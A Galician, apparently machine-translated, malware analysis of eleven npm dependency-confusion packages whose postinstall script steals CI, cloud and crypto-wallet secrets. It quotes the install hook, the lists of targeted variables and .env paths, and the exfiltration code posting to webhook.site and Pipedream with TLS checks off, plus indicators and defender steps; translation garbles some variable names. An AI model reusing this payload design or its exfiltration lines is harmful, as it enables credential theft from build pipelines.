TL, RD
O 17/06/2026, publicouse unha única conta npm once paquetes que comparten un propósito e unha carga útilDez deles levan o cryptodao- prefixo (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); o undécimo é o ámbito @public-for-cdao/coreTodos foron publicados na versión 99.99.99 e envía un byte idéntico recon.js que funciona postinstall.
Os nomes son o indicador. Léense como os bloques de construción internos da cadea de ferramentas privada dun proxecto de criptografía/DAO. Publicados no rexistro público de npm nunha versión artificialmente alta, agardan unha compilación. pipeline que está configurado para resolver eses nomes e que chega ao npm público antes (ou en lugar do) rexistro privado. Isto é confusión de dependencia, e a carga útil está axustada para exactamente onde espera aterrar: CI/CD corredores.
Cando postinstall incendios, recon.js recompila os detalles do anfitrión, varride a groso corenta variables de ambiente para a nube, a integración continua e a carteira criptográfica, le calquera .env ficheiros que pode atopar e reenvía as liñas que conteñen segredos literalmente, logo transmite o paquete a dous coleccionistas — webhook.site e un punto final de Pipedream, coa verificación do certificado TLS desactivada. Tamén se escribe unha copia en /tmp.
Gravedade: altoEcosistema afectado: npmOs once paquetes estaban dispoñibles no momento de escribir isto.
Anatomía do ataque
O mecanismo ten catro pezas móbiles, e ningunha delas é sutil unha vez que sabes como facelo. mira unha capa máis alá do nome do paquete.
1. Inflación de versións como señuelo para resolver. Cada paquete declara a versión 99.99.99A confusión de dependencias funciona cando un xestor de paquetes solicita un nome interno, tamén comproba o rexistro público e escolle a versión máis alta que atopa. A selección predeterminada de npm para un rango de circunflexo ou comodín é o versión máis satisfactoria en cada fonte configurada; se ambas son privadas rexistro e npm público responden para o mesmo nome, gaña o número de versión máis grande. A 99.99.99 supera esencialmente calquera versión interna real que teña un proxecto alcanzado, polo que un resolvedor que non está vinculado á fonte privada prefire o copia pública (e, neste caso, hostil). O operador non precisa coñecer a números de versión reais do obxectivo; escoller un máximo absurdo garante o empate sempre ábrese camiño.
2. Un activador posterior á instalación. paquete.json cablea a carga útil á instalación ciclo de vida:
{ "scripts": { "postinstall": "node recon.js" } } Non se require importar o paquete. Simplemente instalalo, o que fai un CI pipeline fai automaticamente — execútase recon.js.
3. Unha ampla investigación secreta. recon.js ensambla unha matriz de resultados en etapas:
- Contexto do host: nome do host, plataforma e versión, arquitectura, nome de usuario, funcionamento directorio.
- Variables de ambiente: itera unha lista fixa duns corenta nomes e rexistros calquera que estea configurado. A lista é reveladora: emparella tokens CI xenéricos (CI_JOB_TOKEN, CONTRASINAL_DO_REXISTRO_CI, TOKEN_DE_ACCESO_DE_GITLAB) e a nube credenciais (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, TOKEN_DE_SESIÓN_DE_AWS) con segredos de rexistro e contedor (NPM_TOKEN, CONTRASINAL_DE_DOCKER, CONTRASINAL_DO_PORTO) e un clúster con sabor distintivo a criptografía: CHAVE_PRIVADA, MNEMOTÉCNICO, FRASE_SEMENTE, INFURA_API_CHAVE, CHAVE_API_ALQUIMIA, ETH_RPC, BSC_RPCOs valores rexistrados trúncanse aos primeiros 50 caracteres.
- .env ficheiros: busca unha lista de rutas — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, eo produción/desenvolvemento variantes — e para calquera ficheiro que exista, iso filtra o contido ás liñas que coincidan CHAVE|SEGREDO|TOKEN|PASO|PRIVADO|MNEMONÍCO e introduce esas liñas **completas, sen truncar** nos resultados.
- Contexto de compilación do host: enumera as primeiras 20 entradas de /construcións/, /inicio/gitlab-runner/compilacións/, /var/lib/gitlab-runner/e /tmp/.
A lista de rutas e a lista de variables teñen unha ponderación cara aos executores de GitLab, o que apunta a carga útil directamente na infraestrutura de CI autoaloxada en lugar dun desenvolvedor portátil. Agrupar a lista de colleita por categoría fai que a captura prevista sexa clara:
| categoría | Variables / rutas alcanzadas |
|---|---|
| CI/CD identidade e despregamento | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Nube | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Rexistro e contedor | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Almacéns de datos | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptomoedas / cadea de bloques | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Mensaxes | SLACK_TOKEN, DISCORD_TOKEN |
| No disco | .env familia + /home/gitlab-runner/.env, /root/.env, /app/**/.envlistaxes de directorio de /builds/, /var/lib/gitlab-runner/ |
O clúster criptográfico é a parte que distingue isto dun segredo de CI xenérico. varrido: as frases semente da carteira e as claves de sinatura só aparecen no ambiente dun proxecto blockchain e mapéanse directamente no criptodao-/sinal/contratos nomeamento dos transportistas.
4. Exfiltración dual coa verificación desactivada. A matriz recollida é serializado e enviado por POST a dous destinos:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rexeitarNon autorizado: falso desactiva as comprobacións de certificados TLS para a saída chamadas. Os mesmos datos imprímense en stdout (polo que tamén chegan aos rexistros de traballos de CI) e escrito a /tmp/.npm_recon_ .jsonOs erros son tragados silenciosamente, polo que un Un envío fallido non deixa rastro na saída da instalación máis alá dun único [recoñecemento] instalado en liña.
Un comentario principal no ficheiro o describe como unha "Confusión de dependencias Carga útil de recoñecemento." O truncamento dos valores do ambiente a 50 caracteres ten a forma dunha proba de concepto. O que a move máis alá dunha baliza só de presenza é o .env manipulación: as liñas de portamento secreto reenvíanse integramente e os destinos son dous colectores que funcionan e controlados polo atacante en lugar dun sumidoiro que só conta golpea.
Timeline
O patrón de publicación é a sinatura dunha única publicación con script, non de once subidas independentes.
| Hora (UTC, 17/06/2026) | evento |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicado |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variante con ámbito, ~24 min despois |
Dez paquetes saíron dentro dun prazo de 29 segundos, aproximadamente un cada tres segundos. O ámbito @público-para-cdao/núcleo seguiu uns 24 minutos despois — un segundo convención de nomenclatura para o mesmo obxectivo, no caso de que o proxecto consumidor faga referencia ao cadea de ferramentas interna baixo un ámbito en lugar de como nomes simples.
Indicadores de compromiso
| tipo | Indicador |
|---|---|
| Colector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Colector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instalar gancho | postinstall: node recon.js |
| Ficheiro soltado | /tmp/.npm_recon_<timestamp>.json |
| Marcador de rexistro | [recon] <pkg>@<ver> installed on <hostname> (saída estándar nos rexistros de CI) |
| Comportamental | rejectUnauthorized: false en HTTPS de saída durante a instalación |
| Carga útil | recon.js, idéntico en todos os once paquetes (unha compilación compartida) |
| versión | 99.99.99 en cada paquete |
| Paquetes | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (todo 99.99.99) |
| Editor | aduljune / aduljune@proton.me (correo electrónico sen verificar, sen repositorio de orixe vinculado) |
Atribución e comportamento observado
Todo sobre o clúster apunta a unha man. Os once paquetes foron publicados. pola conta npm aduljune (aduljune@proton.me, un enderezo non verificado sen repositorio de fontes vinculado), nun intervalo de 25 minutos, ao mesmo tempo 99.99.99 versión, envío dun recon.js cuxo contido é idéntico byte a byte en todos os paquete (MD5 coincide en todas as once copias extraídas). Iso é unha carga útil estampado nunha lista de nomes, non na reutilización de código independente.
A lista de nomes define o obxectivo pretendido. criptodao-* cdao describir o/a deseño de módulos privados dun proxecto criptográfico/DAO e a lista de recollida da carga útil espellos que adiviñan: xunto cos segredos xenéricos da CI e da nube, especificamente alcanza CHAVE_PRIVADA, MNEMOTÉCNICO, FRASE_SEMENTEe Ethereum/BSC RPC e claves do provedor. O .env as rutas de busca e as listaxes de directorios son GitLab-runner específico. O efecto observable é que calquera pipeline enganados para instalar estes os nomes reenviarían os seus tokens de CI, claves na nube e no disco .env segredos — e, para un proxecto blockchain, o material da súa carteira, a dous coleccionistas externos.
Non facemos ningunha afirmación sobre quen opera a conta nin o que planeaban facer coa datos. Os feitos que se manteñen por si mesmos: os nomes diríxense a un tipo específico de cadea de ferramentas interna, a carga útil lee e transmite valores secretos reais e o a infraestrutura estaba en funcionamento.
Impacto, tendencias e orientación para os defensores
Confusión de dependencia segue sendo eficaz porque explota o comportamento do resolvedor, non un vulnerabilidade en calquera paquete. O transportista aquí é trivial: once case baleiros paquetes, pero o radio da explosión é calquera pipeline prefire erroneamente o npm público para un nome interno. Os executantes de CI son o peor lugar para que iso ocorra: manteñen exactamente as fichas e .env ficheiros que le esta carga útil e instálanse dependencias de forma non interactiva, polo que un postinstalación corre sen que ninguén o observe.
Este clúster tamén encaixa nun patrón que seguimos vendo: cargas útiles en tempo de instalación que presentan como "investigación" ou "recoñecemento" mentres se realiza a recollida de credenciais real. A etiqueta no ficheiro non cambia o que fai o código nun corredor. Dúas opcións de deseño mantéñense a actividade silenciosa: cada operación de rede e sistema de ficheiros está envolta nun xestor de excepcións que descarta erros, polo que un envío bloqueado ou un ficheiro que falta non produce ningunha saída de diagnóstico e o único que se imprime é unha única inocua [recon] … instalado liña que se mestura coa conversa normal da instalación. O uso de webhook.sitio e Pipedream tamén é comodidade deliberada: ambos son gratuítos, servizos de captura de solicitudes aprovisionados instantáneamente, polo que o operador non precisa servidores de os seus propios e os destinos parecen nomes de host SaaS ordinarios nos rexistros de saída.
A economía é o que fai que isto mereza a atención dun defensor, mesmo que o o código do transportista é trivial. Rexistrar once nomes non custa nada, a carga útil é un ficheiro copiado once veces e o xestor de paquetes fai toda a execución. Un só mal configurado pipeline Calquera lugar que consuma un destes nomes paga por completo operación
Medidas concretas para os defensores:
- Fixar ámbitos internos ao teu rexistro privado. Configurar npm para nomes internos
e os ámbitos resólvense só contra o teu rexistro (mapeamentos de rexistro .npmrc con ámbito, ou un proxy que nunca se conecte ao npm público para espazos de nomes propios). Reserva os teus nomes de ámbito público para que ninguén máis poida rexistralos.
- Commit ficheiros de bloqueo e instalación con –ignore-scripts en CI sempre que sexa posible, ou examinar o pequeno conxunto de dependencias que realmente precisan scripts de instalación. recon.js non se pode executar se postinstalación non se executa.
- Tratar unha versión de 99.99.99 (ou outra versión absurdamente alta) dun nome de aspecto interno como unha bandeira vermella na revisión de dependencias e na monitorización do rexistro.
- Alerta na saída no momento da instalación. A postinstalación que abre un HTTPS de saída conexión —especialmente coa verificación do certificado desactivada— a Convén bloquear webhook.site, Pipedream ou servizos de captura de solicitudes similares no bordo da rede e sinalalos nos rexistros de compilación.
- Busca os artefactos. Comprobar os corredores /tmp/.npm_recon_*.json e para o [recon] … instalado o … marcador nos rexistros recentes de CI. Se se atopa, rotar cada credencial exposta a iso pipeline — Tokens de CI, claves na nube, tokens de rexistro e calquera semente de carteira ou clave privada presente no ambiente ou nos ficheiros .env.
References
Non existía información externa sobre este clúster no momento de escribir isto; a análise anterior baséase directamente no contido do paquete publicado




